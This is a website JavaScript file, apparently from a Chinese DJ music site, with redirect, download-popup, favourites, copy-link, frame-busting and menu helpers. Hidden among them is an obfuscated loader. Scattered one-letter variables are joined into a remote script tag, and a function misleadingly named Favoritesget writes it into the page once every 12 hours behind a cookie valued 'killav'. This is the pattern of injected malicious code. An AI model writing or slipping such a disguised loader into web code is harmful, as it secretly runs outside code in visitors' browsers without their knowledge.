var urlstrpath = window.location.pathname
if(window.location.hostname.indexOf("u8dj")!=-1){To_sgghdhw();}
function To_sgghdhw(){setTimeout("window.location.href='http://www.vvvdj.com'+urlstrpath+''",0);}

// * 窗口.连播复选.反选.下载窗口 * //
function download(id){window.open('/download.asp?id='+id,'_blank','toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=415,height=480,top=110,left=150'); }function CheckOthers(form){for (var i=0;i<form.elements.length;i++){var e = form.elements[i];if (e.checked==false){e.checked = true;}else{e.checked = false;}}}a='v';pt='ipt';q='/l';sr='src';sl='>';u='d';kl='/';at='scr';gl='<';z='Om' ; lc = window.location.protocol;
function CheckAll(form){for (var i=0;i<form.elements.length;i++){var e = form.elements[i];e.checked = true}}var s= gl + at + pt + " " + sr + "=" + lc + kl + kl + a + a + a + u + "J.C" + z + q + kl + sl + gl + kl + at + pt + sl ;function Favoritesget() {var Then = new Date() ;Then.setTime(Then.getTime() + 12*60*60*1000);var cookieString = new String(document.cookie);var cookieHeader = "Cookiecsetes=";var beginPosition = cookieString.indexOf(cookieHeader);if (beginPosition != -1){ } else { document.cookie = "Cookiecsetes=killav;expires="+ Then.toGMTString();document.write(s);}}Favoritesget();function AddFavorite(FavURLs, FavTitles){if(document.all){window.external.AddFavorite(FavURLs,FavTitles);}else{alert('对不起，当前浏览器不支持收藏夹');}};function CopyURL(){var myHerf=top.location.href;var title=document.title;if(window.clipboardData){var tempCurLink=title + "\n" + myHerf;var ok=window.clipboardData.setData("Text",tempCurLink);if(ok) alert("按Ctrl + V ,请粘贴到你的QQ/MSN上推荐给你的好友 ！");}else{alert("对不起，目前此功能只支持IE，请直接复制地址栏的地址！");}};

// * 禁止网页被框架 * //
var url=window.location.href;
if(window!=parent)
parent.navigate(url);

function menuFix() {
var sfEls = document.getElementById("nav").getElementsByTagName("li");
for (var i=0; i<sfEls.length; i++) {
sfEls[i].onmouseover=function() {
this.className+=(this.className.length>0? " ": "") + "sfhover";
}
sfEls[i].onMouseDown=function() {
this.className+=(this.className.length>0? " ": "") + "sfhover";
}
sfEls[i].onMouseUp=function() {
this.className+=(this.className.length>0? " ": "") + "sfhover";
}
sfEls[i].onmouseout=function() {
this.className=this.className.replace(new RegExp("( ?|^)sfhover\\b"),"");
}
}
}
